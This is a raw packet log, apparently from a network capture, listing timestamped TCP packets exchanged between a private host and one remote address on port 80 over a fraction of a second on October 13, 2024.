Oct 13, 2024 11:54:13.138122082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138139963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138154984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138181925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138189077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138209105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138221025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138251066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138254881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138273001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138288975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138315916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138324976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138343096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138358116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138380051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138391972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138417006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138425112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138452053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138459921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138484001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138490915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138509035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138525009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138552904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138557911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138581991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138593912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138618946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138627052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138648987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138660908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138686895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138695002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.138710976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.138751984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.226953983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227005005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227042913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227076054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227111101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227144003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227176905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227209091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227255106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227313042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227353096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227353096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227353096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227354050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227354050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227354050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227354050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227365971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227454901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227488995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227489948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227490902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227520943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227547884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227549076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227607965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227608919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227659941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227669954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227695942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227716923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227745056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227760077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227797031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227801085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227830887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227853060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227871895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227891922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227901936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227932930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.227953911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227988005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.227991104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228013039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228018045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228039980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228068113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228070974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228127956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228132963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228183985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228192091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228219032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228243113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228250980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228274107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228287935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228315115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228337049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228348017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228373051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228390932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228403091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228429079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228435993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228460073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228470087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228497028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228504896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228519917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228554964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228564978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228589058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228614092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228641033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228647947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228669882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228704929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228718042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228727102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228768110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228776932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228800058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228825092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228832960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228848934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228866100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228888988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228899956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228925943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228934050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228955984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.228967905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.228985071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229001999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229022026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229034901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229053020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229069948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229085922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229103088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229120016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229154110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229155064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229190111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229207993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229223013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229240894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229258060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229274035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229305983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229310036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229345083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229362011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229393959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229394913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229429007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229448080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229479074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229479074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229515076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229527950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229547977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229567051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229583025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229598999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229617119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229633093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229652882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229667902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229684114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229701996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229717016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229736090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229753017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229759932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229783058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229806900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229815006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229830027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229849100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229866982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229898930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229912996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229933023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229948997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.229971886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.229989052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230005980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230037928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230037928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230062008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230073929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230088949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230107069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230125904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230139971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230154037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230174065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230190039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230207920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230223894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230242014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230262995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230276108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230292082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230312109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230330944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230345011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230356932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230379105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230396986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230412960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230429888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230446100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230463028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230479956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230495930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230513096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230530024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230545998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230561972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230581045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230597019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230614901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230629921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230648994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230665922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230681896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230700016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230715036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230732918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230750084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230767012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230783939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230798960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230820894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230835915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230853081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230875969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230887890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230905056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230921984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230938911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230956078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.230973005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.230988979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231004000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231023073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231038094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231057882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231074095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231091976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231112003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231118917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231143951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231152058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231168985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231184959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231201887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231219053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231235027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231252909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231268883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231286049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231304884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231319904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231337070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231358051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.231369019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.231425047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320137978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320210934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320266962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320301056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320354939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320388079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320420980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320470095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320502043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320533991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320565939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320600986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320607901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320607901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320607901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320607901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320607901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320609093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320609093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320609093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320631981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320667982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320703030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320708036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320708990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320749998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320759058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320782900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320795059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320822001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320828915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320848942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320864916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320890903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320897102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320911884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320930958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320954084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320960045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.320979118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.320992947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321022987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321027994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321044922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321058035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321091890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321094990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321116924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321126938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321154118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321160078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321180105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321193933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321222067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321225882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321243048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321260929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321289062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321294069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321310043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321332932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321355104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.321367025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.321386099 CEST	49730	80	192.168.2.4	185.215.113.37
